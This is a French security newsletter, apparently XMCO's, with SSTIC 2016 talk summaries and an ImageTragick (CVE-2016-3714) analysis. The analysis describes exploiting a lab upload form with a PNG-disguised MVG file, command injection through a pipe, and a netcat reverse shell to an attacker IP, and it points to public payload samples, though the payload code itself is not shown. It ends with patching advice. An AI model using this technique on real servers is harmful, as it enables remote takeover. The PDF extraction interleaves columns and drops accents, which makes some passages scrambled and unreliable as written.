Cette nouvelle version du protocole est plus complexe


que la prcdente. L'orateur a donc tudi le comporte-
+ Vido :
http://static.sstic.org/videos2016/SSTIC_2016-06-02_P05.
ment des serveurs HTTP les plus rpandus tels quApache mp4
HTTPd Server, nginx ou H2O l'aide d'un smart-fuzzer (auto-
mate avec machine tat capable de respecter ou non les La confrence invite tait anime par Olivier Thomas
spcifications du protocole). Ses travaux ont permis de qui a cr la socit Textplained aprs de nombreuses
mettre en avant des problmes d'implmentation au sein annes de R&D sur les attaques matrielles contre les circuits
de ces serveurs. intgrs. Les cartes puces tant de plus en plus rpan-
dues aujourd'hui (domotique, mdical, automobile, etc.),
elles suscitent un vif intrt pour les pirates. S'assurer de
App vs Wild la scurit de celles-ci est par consquent devenu un enjeu
Stphane Duverger important.

+ Slides :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/app_
Pour tester la scurit d'un circuit intgr, il existe trois
approches possibles (par ordre croissant d'agressivit) :

+
vs_wild/SSTIC2016-Slides-app_vs_wild-duverger.pdf
non-intrusive : base uniquement sur les signaux
+ Article complet : extrieurs, aucun accs la puce ;

+ semi-intrusive : accs physique la puce, mais sans


https://www.sstic.org/media/SSTIC2016/SSTIC-actes/app_
vs_wild/SSTIC2016-Article-app_vs_wild-duverger.pdf
altration du matriel (injection de faute laser, attaques

52
+ Vido :
http://static.sstic.org/videos2016/SSTIC_2016-06-02_P06.
lectromagntiques, etc.) ;

Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
+ intrusive : accs physique la puce avec modification
matrielle autorise (contournement des protections de la
Dverrouillage d'Android en simulant un clavier/souris
Antoine Cervoise (@acervoise)

+
puce, ingnierie inverse, etc.).
Slides :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/un-
lock_android/SSTIC2016-Slides-unlock_android-cervoise.
pdf

+ Article complet :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/un-
lock_android/SSTIC2016-Article-unlock_android-cervoise.
pdf

+ Vido :
http://static.sstic.org/videos2016/SSTIC_2016-06-02_P08.
mp4

Antoine Cervoise nous propose une mthode astucieuse


Cette dernire approche se rvle tre la plus efficace, pour raliser des attaques par force brute dans le but de d-
mais galement la plus destructrice. En effet, certaines verrouiller un tlphone Android. A l'aide d'un framework
protections peuvent mettre hors service la puce si elles ne matriel coutant moins de 100 euros, connect sur le port
sont pas correctement contournes. USB du tlphone, il va simuler la prsence de priph-
riques clavier/souris afin de raliser des tentatives de d-
verrouillage.
Winbagility : Dbogage furtif et introspection de ma-
chine virtuelle
Nicolas Couffin (@JmpCallPoo)

+ Slides :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/de-
bogage_furtif_et_introspection_de_machines_virtu/SS-
TIC2016-Slides-debogage_furtif_et_introspection_de_ma-
chines_virtuelles-couffin.pdf

+ Article complet :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/de-
bogage_furtif_et_introspection_de_machines_virtu/SS-
TIC2016-Article-debogage_furtif_et_introspection_de_ma-
chines_virtuelles-couffin.pdf

+ Vido :
http://static.sstic.org/videos2016/SSTIC_2016-06-02_P07. Une webcam, connecte l'ensemble, sera utilise pour
mp4 prendre une photo chaque tentative de dverrouillage.
Une comparaison en temps rel des photos prises avec une
Lorsque l'on souhaite analyser le comportement d'un pro- photo talon permettra alors de dtecter le dverrouillage
gramme (malveillant ou non), on utilise bien souvent un de l'appareil.
debugger, afin de pouvoir raliser une analyse dynamique Sur la plupart des tlphones Android, il suffira d'une
au cours de l'excution du programme. vingtaine de minutes pour tester 100 mots de passe
Seulement, l'utilisation d'un debugger modifie systma- diffrents.
tiquement l'environnement d'excution du programme,
et dans certains cas celui-ci est en mesure de s'en rendre
compte et de mettre en place diverses protections "anti-de- The Metabrik Platform: Rapid Development of Reusable
bug". Security Tools
Patrice Auffret (@PatriceAuffret)
C'est pour rpondre cette problmatique que Nicolas
Couffin nous prsente Winbagility : un debugger furtif
bas sur la solution de virtualisation VirtualBox. Celui-ci
+ Slides :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/
permet le debug d'un programme s'excutant au sein d'une the_metabrik_platform_rapid_development_of_reusabl/
machine virtuelle sans jamais interagir avec le systme SSTIC2016-Slides-the_metabrik_platform_rapid_develop-
invit de celle-ci, rendant l'action totalement furtive. ment_of_reusable_security_tools-auffret.pdf

+ Vido :
http://static.sstic.org/videos2016/SSTIC_2016-06-02_P09. 53

Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
SSTIC 2016

mp4 > Jour 3 - vendredi 3 juin


The Metabrik Plateform est un shell augment, entire-
ment dvelopp en Perl. Celui-ci implmente de base des MacOS : System Integrity Protection
fonctionnalits trs utiles, comme la mmorisation syst- Nicolas RUFF (@newsoft)
matique dans la variable $RUN du rsultat de la commande
qui vient d'tre excute. En outre, le systme de "Briks"
permet d'intgrer aisment ses propres commandes et/ou + Slides :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/ma-
outils Metabrik. Il faudra toutefois dvelopper ces "Briks" cos_sip/SSTIC2016-Slides-macos_sip-ruff.pdf
en Perl...

DYODE : Do Your Own DiodE, Une diode open source + Vido :


http://static.sstic.org/videos2016/SSTIC_2016-06-03_P01.
moins de 200 pour rseaux industriels mp4
Arnaud Soulli (@arnaudsoullie), Ary Kokos

+ Slides : + Article complet :


https://www.sstic.org/media/SSTIC2016/SSTIC-actes/ma-
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/ cos_sip/SSTIC2016-Article-macos_sip-ruff.pdf
dyode_si_indus/SSTIC2016-Slides-dyode_si_indus-soullie_
kokos.pdf Nicolas Ruff a initi cette dernire journe en s'intres-

+
sant la fonctionnalit System Integrity Protection (SIP)
Vido : a.k.a "rootless" d'OSX (dsactivable en mode Recovery).
http://static.sstic.org/videos2016/SSTIC_2016-06-02_P10. L'objectif est ici de dfinir un ensemble de permissions
mp4 propres chaque application et non plus lies un utilisa-
teur. Il est ainsi question d'tablir des restrictions au niveau
Afin de rpondre aux problmatiques d'isolation des SI in- du compte root ou des sudoers afin de protger l'intgrit
dustriels, Arnaud Soulli nous prsente son boitier DYODE. des fichiers et rpertoires risque sur le systme en bloquant
Le but ? Raliser une diode rseau (NB: il s'agit d'un qui- notamment l'accs en criture aux /System, /bin, /sbin,
pement qui garantit physiquement un flux rseau unidirec- etc, aux processus systmes signs par Apple, etc. Le tout
tionnel) open source pour moins de 200 euros - un quipe- est dfini dans le fichier de configuration /System/Library/
ment commercial de ce type coutant plusieurs dizaines de Sandbox/rootless.conf ou visualisable via un "ls -lO <path>".
milliers d'euros.

Bien videmment, il ne s'agit l que de la thorie. Nicolas a


dmontr qu'avec un peu de lecture et de documentation,
L'orateur prcise que le boitier propos est une solution il tait possible de contourner cette composante. titre
souveraine et respecte ce titre les meilleures pratiques d'exemple, en abusant des commandes kext*, en installant
du march : le matriel est fabriqu en Chine, le systme des extensions noyau non signes, en abusant de certaines
d'exploitation est un Linux standard et il embarque du code, extensions signes ou encore en dtournant d'anciennes
non revu, issu de Github. versions d'applications l'instar de GDB ou de XCode, il est
possible de passer outre ces restrictions. En l'tat, ajouter
Le petit plus ? Le boitier affiche le drapeau franais et joue un composant de scurit sur un modle ayant des failles
54 la Marseillaise version 8bits au dmarrage.
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
s'avre complexe et apporte son lot de bugs, mais de l Fuzzing and Overflows in Java Card Smart Cards
dire que la scurit est un chec il n'y a qu'un pas... Guillaume Bouffard, Julien Lancia

+ Slides :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/
fuzzing_and_overflows_in_java_card_smart_cards/SS-
TIC2016-Slides-fuzzing_and_overflows_in_java_card_
smart_cards-bouffard_lancia.pdf

+ Vido :
http://static.sstic.org/videos2016/SSTIC_2016-06-03_P03.
mp4

Java Card security, Software and Combined attacks


+ Article complet :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/
Jean Dubreuil et Guillaume Bouffard fuzzing_and_overflows_in_java_card_smart_cards/SS-
TIC2016-Article-fuzzing_and_overflows_in_java_card_
+ Slides :
N/A
smart_cards-bouffard_lancia.pdf

Julien et Guillaume ont poursuivi la squence JavaCard en


+ Vido :
http://static.sstic.org/videos2016/SSTIC_2016-06-03_P02.
parlant de fuzzing et d'overflow.

mp4 Dans le cas prsent, il s'agissait de prsenter une faille dans


le Byte Code Verifier (BCV) permettant de l'excution native
+ Article complet :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/
dans la VM rsultant en l'excution de code arbitraire. Ba-
ss sur du fuzzing gntique, ils ont mut chaque gnra-
java_card_security_software_and_combined_attacks/SS- tion de fichiers CAP. Il est important de prciser que le CAP
TIC2016-Article-java_card_security_software_and_com- d'origine vient d'un CAP valide. Leurs tests ont t raliss
bined_attacks-dubreuil.pdf l'aide de la VM de rfrence fournie par Oracle. Si la VM
crash ou si une erreur est leve alors que le BCV a valid
Jean Dubreuil et Guillaume Bouffard ont tout d'abord comme correcte cette application, un bug est dtect.
ralis une introduction commune autour des concepts Java,
JavaCard, des notions de Java Card Virtual Machine (JCVM), Une fois le bug dcouvert, ils l'ont exploit sur une im-
de Byte Code Verifier (BCV), et des principales attaques plmentation en boite blanche. Enfin, ils ont prsent
qu'il est possible de mener. On retrouve notamment des une technique pour caractriser la modification du flux de
injections de fautes, des attaques combines, des attaques contrle en boite noire.
par canaux cachs, des techniques de fuzzing, etc.

Jean a pris le relai afin de prsenter son travail permet- Noyaux Linux durcis
tant de contourner le mcanisme de scurit protgeant Yves-Alexis Perez

+
les cls cryptographiques embarques (avec un BCV
correct). A ce titre, un exemple permettant de contourner Slides :
le firewall (destin sparer des applications sur la carte et https://www.sstic.org/media/SSTIC2016/SSTIC-actes/
pour le routage d'apdu) l'aide d'un stack d'overflow a t noyaux_linux_durcis/SSTIC2016-Slides-noyaux_linux_dur-
expos permettant d'altrer et de maitriser dans une cis-perez.pdf

+
certaine mesure la stack afin d'abuser du security context.
Le problme vient donc d'un bug de la VM au moment du Vido :
runtime conduisant une lvation de privilges. http://static.sstic.org/videos2016/SSTIC_2016-06-03_P04.
mp4

+
Seconde technique : injection de fautes avec une attaque
combine en utilisant une oprande RET (permettant de Article complet :
raliser un saut vers une adresse en fin d'une subroutine https://www.sstic.org/media/SSTIC2016/SSTIC-actes/
dclenche via un bloc finally). Il en rsulte la lecture d'une noyaux_linux_durcis/SSTIC2016-Article-noyaux_linux_dur-
variable locale maitrise par l'attaquant et l'excution du cis-perez.pdf
code malveillant.
Prsentation du composant grSecurity (https://grsecu-
En l'tat, le BCV ne peut assurer lui seul la scurit, il est rity.net) permettant d'apporter un niveau de scurit
important de protger la fois la partie software et la partie supplmentaire au noyau Linux. grSecurity inclut
hardware afin de se prmunir de ce type d'attaques, mais notamment le systme de contrle d'accs PaX utilis afin
la surface d'exploitation demeure importante. de renforcer la scurit du systme (espaces d'adressage
mmoire alatoires, protection contre le ROP, etc.) ou en-
core Role Based Access Control (RBAC) permettant d'affi-
ner la gestion des droits des utilisateurs. Yves-Alexis a ici 55

Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
SSTIC 2016

voqu l'ternel problme de correction des bugs alors d'extraction de cls secrtes. Il s'agit l de la contrepartie logi-
qu'une surveillance "active" semble une solution bien plus cielle des attaques dites de Differential Power Analysis (DPA)
prenne. bases sur la consommation lectrique.

Avec grSecurity, il est question d'autoprotection du noyau


afin d'endiguer une partie des exploits contrairement aux Charles Hubain, Philippe Teuwen
solutions SELinux ou encore AppArmor visant le userland. ont prsetn une attaque par analyse
L'ide est bonne, mais les problmatiques d'implmenta-
tion de l'outil (compilation, configuration, etc.) loignent diffrentielle de calcul (Differential
une partie des utilisateurs qui ont parfois peur de mettre Computation Analysis - DCA) avec
les mains dans le code ou la ligne de commandes. illustration de l'efficacit d'extraction
de cls secrtes
Design de cryptographie white-box : et la fin, cest
Kerckhoffs qui gagne Comme stipul par Charles et Philippe, aujourd'hui en-
Charles Hubain, Philippe Teuwen core, beaucoup trop d'entreprises vendent des solutions de

+
cryptographie white-box supposes "scurises" en
Slides : pensant dtenir le Graal. Leur solution miracle ? La cessa-
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/de- tion de publication des implmentations ou comment re-
sign_de_cryptographie_white-box_et_a_la_fin_c_es/ venir aux bons vieux dmons de la scurit par l'obscurit.
SSTIC2016-Slides-design_de_cryptographie_white-
box_et_a_la_fin_c_est_kerckhoffs_qui_gagne-hubain_ Pourtant, en dveloppant des greffons applicables sur des
teuwen_1.pdf outils d'instrumentation binaire dynamique, il a t possible

+
d'enregistrer les adresses mmoire et les donnes qui sont
Vido : utilises afin d'tablir des corrlations permettant d'obtenir
http://static.sstic.org/videos2016/SSTIC_2016-06-03_P05. les cls voulues.
mp4

+ Article complet :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/de-
sign_de_cryptographie_white-box_et_a_la_fin_c_es/
SSTIC2016-Article-design_de_cryptographie_white-box_
et_a_la_fin_c_est_kerckhoffs_qui_gagne-hubain_teuwen.
pdf

L'approche prsente ici permet donc d'extraire


automatiquement les cls d'une white-box trs rapidement
et sans connaissance des dtails de sa conception. Plus
rapide, plus efficace, moins contraignant, que dire de plus ?

Charles Hubain, Philippe Teuwen ont prsetn une at-


taque par analyse diffrentielle de calcul (Differential
56 Computation Analysis - DCA) avec illustration de l'efficacit

Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Bypassing DMA remapping with DMA Scapy en 15 minutes
Benot Morgan, Eric Alata, Guillaume Averlant, Vincent Guillaume Valadon, Pierre Lalet
Nicomette

+ Slides :
+ Slides :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/dma_ scapy_en_15_minutes/SSTIC2016-Slides-scapy_en_15_mi-
bypass_with_dma/SSTIC2016-Slides-dma_bypass_with_ nutes-valadon_lalet.pdf
dma-morgan_alata_averlant_nicomette_1.pdf

+ Vido :
+ Vido :
http://static.sstic.org/videos2016/SSTIC_2016-06-03_P08.
http://static.sstic.org/videos2016/SSTIC_2016-06-03_P07. mp4
mp4
15 minutes pour parler de Scapy, "challenge accepted" et
+ Article complet :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/dma_
avec brio. L'outil de manipulation de paquets en Python a
t dcrit en prsentant un chantillon de ses nombreuses
bypass_with_dma/SSTIC2016-Article-dma_bypass_with_ fonctionnalits (gnration de paquets, manipulation
dma-morgan_alata_averlant_nicomette.pdf des champs, snippet de code python, composants gra-
phiques de visualisation, gestion des piles rseau, gestion
La confrence s'est tout d'abord oriente autour d'un d'automates, etc.). Avec le support ASN1 et X509, l'outil
tat des lieux des attaques DMA (accs la mmoire devient de plus en plus complet, mais attention, une version
principale depuis les priphriques qui sont indpendants Python 3 n'est pas encore d'actualit.
sur processeur donc potentiellement accs au code et la
mmoire d'applications privilgies). Puis une attaque
d'IOMMU (InputOutput Memory Management Unit) Microsoft reoit, au travers de Windows
mettant en avant une erreur de conception au sein du
Error Reporting plus de
firmware et du driver dIOMMU Intel pour Linux a t
prsente. Comment a se passe ? 10 millions de rapports par jour.
Ces rapports sont trs prcieux
+Un priphrique PCI Express dvelopp sur FPGA ; pour dcouvrir des 0-days.

+Les spcifications matrielles Intel ; Plaso & Timesketch


+Le code source de Linux ; Romain Gayon

+Un peu de YOLO, on croise les doigts et a marche ! ; + Slides :


https://www.sstic.org/media/SSTIC2016/SSTIC-actes/pla-
so_timesketch/SSTIC2016-Slides-plaso_timesketch-gayon.
pdf

+ Vido :
http://static.sstic.org/videos2016/SSTIC_2016-06-03_P09.
mp4

Romain Gayon qui travaille chez Google au sein de l'quipe


de rponse incident, est venu prsenter les deux
outils Plaso & Timesketch qui permettent la gnration de
timeline.

En conclusion, les IOMMU ne sont pas utiliss pour le


cloisonnement et il est ncessaire de revoir les
responsabilits firmware / OS vis vis du Direct Memory
Access Remapping (DMAR).

Plaso regroupe plusieurs outils:

+ Log2timeline.py qui permet de parser tout


vnementcontenantdestimestamps.Onpeutainsiimporterde
manire simple une image disque. Il supporte quasiment
tous les systmes de fichiers (EXT, FAT, etc.) ainsi que tous
57
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
SSTIC 2016

les formats d'image disque (RAW, VDI, VMDK, ...). Des plugins avoir t envoys.
peuvent galement tre ajouts pour automatiser les tches
fastidieuses, comme l'interaction avec Virus Total. Microsoft reoit plus de 10 millions de rapports par jour.
Ces rapports sont trs prcieux pour dcouvrir des 0-days.
+ psort.py qui permet de filtrer/trier ces mmes
vnements. Cet outil fournit une sortie exploitable pour utili-
Notamment nous vous conseillons la lecture sur le blog
de Microsoft de l'origine de la dcouverte de la MS08-067
ser le meilleur outil de forensics "grep". L'outil permet gale- (https://blogs.technet.microsoft.com/johnla/2015/09/26/
ment de faire certaines analyses. the-inside-story-behind-ms08-067/). Seul Microsoft
reoit ces rapports. Nanmoins il est possible de se dclarer
L'outil est disponible sous Mac, Windows et Linux. Il est comme tiers de confiance pour avoir accs ces rapports.
installable facilement notamment via les gestionnaires de
paquets (python-plaso). Il est galement possible de configurer son propre
serveur (Collecteur WER entreprise) pour recevoir les
Timesketch est un outil bas sur Elasticsearch qui fournit une rapports. Les changes utilisent le protocole Corporate Error
riche GUI pour afficher la timeline. Il permet notamment : Reporting (CER) v1 en SMB ou v2 en HTTP ou HTTPS. Cette
fonctionnalit est trs pratique notamment en cas d'ana-
+d'annoter des vnements; lyse Forensics (tous les crashs dumps sont ainsi centraliss).

+d'afficher plusieurs systmes sur une mme timeline;


+de travailler de manire collaborative.
Cet outil est testable en ligne l'adresse suivante : https://
demo.timesketch.org

Windows Error Reporting


Aurlien Bordes

+ Slides :
https://www.sstic.org/media/SSTIC2016/SSTIC-actes/win-
dows_error_reporting/SSTIC2016-Slides-windows_error_
reporting-bordes_1.pdf Une autre fonctionnalit permet de configurer des actions

+
qui seront ralises lors du prochain crash :
Vido :
http://static.sstic.org/videos2016/SSTIC_2016-06-03_P06.
mp4 +Rcupration de fichier arbitraire
Aurlien Bordes a prsent Windows Error Reporting ou +Excution de commande WMI
WER qui est le remplaant de Docteur Watson. Il permet
de gnrer un rapport d'erreur (crash d'application, crash +Lecture ou modification de cl de registre
noyau, etc.) qui sera envoy Microsoft. Un rapport WER
est situ au sein du rpertoire utilisateur (Appdata/local/ +Gnration d'un dump mmoire
Microsoft/Windows/WER/ReportQueue) et est compos Heureusement, toutes ces actions sont ralises dans le
des lments suivants : contexte de l'application qui a crash. Donc en cas de crash

+Un rapport texte (report.wer)


noyau, WER peut avoir accs l'ensemble des fichiers. Mais
c'est transparent pour l'utilisateur, l'ensemble des fichiers

+Un fichier de dump mmoire (complet ou partiel)


transmis sera dtaill au sein du rapport (report.wer).

+Des fichiers lis aux plugins d'analyse


Seuls les rapports d'erreur sont archivs (WER Report) aprs
58
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
LActualit du moment

Ce mois-ci, nous reviendrons sur plusieurs


vulnrabilits qui ont marqu lactualit de
l't 2016

Matt Berger

Analyse de vulnrabilits
Image Tragick et HTTPoxy

L'ACTUA
Par Jean-Christophe PELLAT

LIT Buzz
BadLock

DU
Par Vincent MARQUET

MOMENT Le whitepaper du mois


Recommandations de scurit pour les architectures ba-
ses sur VMware vSphere ESXi de lANSSI
Par Bastien CACACE

59
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
ImageTragick, la nouvelle faille
qui embrase la scne IT
Par Jean-Christophe PELLAT

Jeremy Fitzhardinge
> Introduction > Prsentation de la vulnrabilit
Aprs le buzz autour de Heartbleed, Shellshock, Poodle,
Badlock et jen passe, cest au tour de la faille baptise Quest-ce que ImageMagick?
ImageTragick dobtenirson nom,son logo, et son site
ddi. ImageMagick est une bibliothque Open Source trs
rpandue de traitement dimages. Elle permet de crer,
Le 3 mai dernier, le petit monde de linfosec senflamme. dditer, de convertir ou de composer des images. Plus de
Deux chercheurs dorigine russe publient leur tragick 200 formats sont supports. Elle est disponible en C, C++,
dcouverte. De multiples vulnrabilits ont t dcouvertes PHP, Perl, Python, etc., pour Linux, Mac OSX et Windows.
au sein de la bibliothque ImageMagick, et permettent la Enfin, ImageMagick est trs largement utilise : on la
prise de contrle distance. Lune dentre elles sort du lot. retrouve notamment au sein des logiciels tels que les fo-
Elle est rfrence CVE-20163714. rums, rseaux sociaux, galeries, CMS, etc..

La bibliothque, utilise dans le traitement dimage et


implmente au sein de nombreux langages (pour ne La tragick vulnrabilit
pas dire tous) offre dsormais un point dentre sur les
systmes employant la solution pour retraiter les images Les diffrentes vulnrabilits au sein de lutilitaire ont t
soumises au travers de leurs formulaires dupload. dcouvertes par deux chercheurs. Stewie, un chercheur
en scurit, a trouv le bug initial (CVE-2016-3717) et
Le nombre de serveurs concerns tant important et Nikolay Ermishkin (de Mail.ru) les bugs supplmentaires,
la faille tant simple exploiter, lemballement autour notamment celui permettant lexcution de code
dImageTragick fait sens distance. lorigine de type 0-day, ces failles ont t
dtectes car elles taient exploites sur le portail web
et moteur de recherche Mail.ru. Elle ont ensuite t
dvoiles publiquement face lim-
60
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
portant nombre de systmes Note: MVG (Magick Vector Graphics), est un format
potentiellement vulnrables. Cest cette vulnrabilit (CVE- de fichier dimage prenant la forme dun script. Celui-ci
2016-3714) particulirement simple exploiter qui nous permet de manipuler facilement des images laide de
intresse aujourdhui. ImageMagick.

Cette dernire vulnrabilit touche les versions dImage- Pour cela, rien de plus simple, il suffit de spcifier un che-
Magick 6.x > 6.9.3-10 et ImageMagick 7.x > 7.0.1-1. Soit min absolu du type URL comme source. Comme le montre
les versions datant davant le 30 avril 2016. le fichier delegate.xml , le traitement des URL est
dlgu par ImageMagick lutilitaire Curl. En loccurrence,
La faille permet linjection de commandes arbitraires, et lorsquune image distante est rfrence via une URL en
provient dun filtrage insuffisant sur les chemins daccs HTTP ou HTTPS, la commande Curl suivante est excute par
aux images, quils sagissent de chemins locaux, ou distants ImageMagick. Ici, on comprend aisment que le paramtre
(HTTP(s) entre autres). En effet, il est possible dutiliser des %M correspond au lien spcifi en entre.
caractres pouvant tre utiliss en ligne de commande.

Note: les informations disponibles lheure actuelle ne


prcisent pas si seule la version Linux dImageMagick
est vulnrable, ou si les autres versions, pour Windows Cet extrait du fichier delegate.xml explicite la
notamment, le sont galement. Nous avons interrog commande:
les auteurs de cette dcouverte, mais notre question est
reste sans rponse jusqu prsent.

La faille permet linjection de commandes


arbitraires, et provient dun filtrage De par la dfinition de la commande, il est intressant de
voir comment ragit le programme lorsque lutilisateur
insuffisant sur les chemins daccs spcifie le chemin daccs suivant:
aux images, quils sagissent de chemins %M est le lien en entre, la chose intressante est la
locaux, ou distants suivante:

En effet, ImageMagick permet de manipuler les images


en faisant appel des bibliothques externes. Cette
fonctionnalit, appele delegate, correspond lexcu- En effet, il est possible de passer la valeur en utilisant le
tion dune commande systme tierce (comme wget pour
caractre pipe |, afin dinjecter une commande ex-
rcuprer une image distante), en spcifiant en argument
cuter par le systme.
diffrents paramtres comme le nom du fichier image.
Pour cela, la librairie excute donc une commande de la
Concrtement, les fichiers images de type SVG et MVG,
forme suivante: system($commande $paramtre). Les
peuvent eux aussi contenir des rfrences dautres
diffrentes commandes utilisables, rpertories au sein du
ressources autant locales que distantes, et peuvent donc
fichier delegate.xml prennent en compte divers utiliser les requtes HTTPS.
paramtres (entres/sorties de noms de fichiers, etc.).
Et ImageMagick traitant aussi ces types dimages (SVG et
Le problme rside dans un mauvais filtrage du MVG), il suffit de mettre profit ce dfaut de filtrage sur
contenu de certains paramtres (comme %M que nous les requtes HTTP afin dexcuter des commandes systme.
verrons par la suite). Cela peut donc tre exploit pour faire de
linjection de commande. Pour cela, rien de plus simple, il suffit Note: ImageMagick dtermine le type de fichier en
dinsrer dans le paramtre manipul un caractre non entre grce son contenu, et non pas grce son
filtr, comme le pipe (|). extension. Comme nous le verrons par la suite dans la
dmonstration: notre formulaire denvoi de fichier nac-
Prenons lexemple suivant. Au travers de la fonctionnalit ceptera que les fichiers JPG et PNG. Cest pourquoi
delegate, ImageMagick est capable de rcuprer pour nous enverrons un fichier PNG contenant du code MVG
lutilisateur des fichiers distants. en vue dune exploitation.
ImageMagick nen tenant pas compte, mme un formu-
Concrtement, cela est ncessaire pour permettre la laire denvoi de fichiers scuriss nacceptant pas
manipulation des fichiers images de type SVG (Scalable les images aux formats SVG ou MVG, nest pas labri.
Vector Graphics) et MVG (Magick Vector Graphics), qui
peuvent contenir des rfrences dautres ressources aussi
bien locales que distantes.

Cependant, cette fonctionnalit ne se limite pas au traite-


ment des fichiers SVG ou MVG, mais au traitement de tous
les types de fichiers. 61
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
ImageTragick

> Exploitation de la faille quil soit auto hberg sur un systme srement non main-
tenu jour

Afin de mieux comprendre la faille, passons la pratique.


Dans un premier temps, nous mettrons au point un site
+ 1. Afin de dtecter si la cible est vulnrable, nous
allons crer un fichier avec lextension PNG (afin de passer
vulnrable, compos dune page principale et dun script le formulaire dupload), contenant du code MVG (mme si
dupload. Puis dans un second temps, nous prendrons lextension nest pas cohrente, le fichier est bien un MVG,
le point de vue de lattaquant, exploiterons la faille, et voir la note plus haut).
prendrons le contrle du systme cible.
Afin de pouvoir injecter la commande sleep, nous
Mise en place de la vulnrabilit prcisons une image distante (peu importe laquelle, voir la
note plus haut). Cette commande sleep aura pour effet de
1. Pour cette dmonstration, nous avons install une suspendre lexcution de la tche pour le temps donn. Si la
ancienne version dImageMagick, vulnrable lattaque. commande est excute, alors le systme est vulnrable.

2. Nous crons notre page dupload dimage sur notre site


personnel

+ 2. On upload notre image afin de dtecter la vulnra-


bilit. Si la tche est suspendue pendant 5 secondes, alors
le systme est vulnrable.

3. La taille des images tant fixe sur notre site, nous


utilisons une fonctionnalit trs utilise au sein dIma-
geMagick : le redimensionnement dimage. Cette fonc-
tion est vulnrable, puisquelle permet dutiliser la
fonctionnalit de dlgation un autre programme, dfinie
dans le fichier delegate.xml). Dautres fonctionnalits
de la bibliothque sont galement vulnrables, linstar de
la commande identify

+ 3.Maintenant que nous avons dtect que le


systme tait vulnrable, nous crons notre vritable fichier
image malveillant. Celui-ci contient un lien vers une image
Dtection de la vulnrabilit et exploitation distante, peu importe laquelle. La suite est plus intres-
sante: le code suivant permet douvrir une connexion de
prsent, prenons le rle de lattaquant: nous sommes en type reverse, autant dire une backdoor via Netcat, vers
juillet 2016, un correctif pour ImageMagick est disponible notre machine.
depuis des mois. Cependant, la mise disposition dun
correctif ne signifie pas pour autant quil a t install. Par Ceci tant sous rserve davoir accs Internet et quil
consquent nous allons tenter notre chance ny ait pas de filtrage des flux sortants. Sinon, lattaquant
pourra essayer de crer un fichier sur le serveur vulnrable
Nous dcouvrons ce site personnel, il ne paye pas (mais (webshell).
alors pas du tout) de mine, il y a de fortes probabilits pour
62
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Dans notre cas, nous allons utiliser lIP locale de notre
machine attaquante (Kali Linux) 192.168.0.23 et le port
+ 5. Une fois ces deux lments prts, il nous suffit
duploader limage via le beau formulaire prsent sur le
6666, ce qui nous donne : site cible.

+ 6. Suite cela, bravo, vous avez la main mise sur le


systme hbergeant le site.

titre de comparaison, voil lenvoi dun fichier image


normal un rel PNG au travers de BurpSuite.

> Se protger de la faille

Depuis mai, la vulnrabilit a t corrige. Il suffit de mettre


jour votre bibliothque vers la dernire version dImage-
Magick (ImageMagick 6.x > 6.9.3-10 ou ImageMagick
7.x > 7.0.1-1).

Cependant, si pour une quelconque raison vous ne pouvez


pas installer ce correctif, la faille Image Tragick (CVE-2015-
3714) peut tre remdie en modifiant la configuration
du fichier /etc/ImageMagick/policy.xml. Ce-
lui-ci permet de dsactiver les encodeurs vulnrables (SVG,
MVG), ainsi que le HTTP(s) comme nous lavons vu plus
haut. Il suffit pour cela de rajouter les directives suivantes:

Et voil notre PNG malveillant contenant du code MVG, qui


sera interprt comme tel.

Note: Lexpression push graphic-context vous per-


mettra de trouver, notamment sur Pastebin, plusieurs Par la suite, vous pouvez vrifier votre configuration en
exemples de fichiers images malveillants utiliss dans essayant nouveau dexploiter la faille ou en utilisant ce
le cadre dattaque. (http://pastebin.com/sdbQxKd0). script suivant - https://github.com/ImageTragick/PoC

+ 4. Prparons notre machine attaquante pour recevoir


la connexion, nous ouvrons donc le port 6666 en coute.

63
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
ImageTragick

Toutefois, mme si la CVE-2016-3714 reste la plus critique,


dautres vulnrabilits ont galement t dcouvertes et
+ http://www.infoworld.com/article/3065473/security/
admins-dont-wait-for-imagemagick-patch.html
corriges dans la bibliothque en mai dernier. Les requtes
vers les ressources distantes tant possibles via nos fichiers
images, il tait notamment possible dexploiter une faille
+ https://blog.cloudflare.com/inside-imagetragick-the-
real-payloads-being-used-to-hack-websites-2/
de type SSRF (FTP et HTTP) et ainsi envoyer des requtes
depuis le serveur compromis.
+ http://permalink.gmane.org/gmane.comp.security.
oss.general/19669
De ce fait, modifier votre fichier policy.xml nest pas suf-
fisant pour scuriser compltement votre application. La
mise jour de la bibliothque ImageMagick reste nces-
saire.

> Conclusion

Publie en mai dernier, la vulnrabilit ImageTragick est


simple exploiter et permet daccder au systme sous-
jacent de lapplication. Elle est donc critique et peut cau-
ser de nombreux dommages sur un systme vulnrable.
Nanmoins, bien quun correctif officiel ait mis du temps
tre publi, il est aujourdhui possible de sen protger en
mettant jour son systme ou directement la bibliothque.

Rfrences

+https://www.nolimitsecu.fr/imagetragick/
+ https://lebackend.leportail.xmco.fr/watch/advisory/
CXN-2016-1392

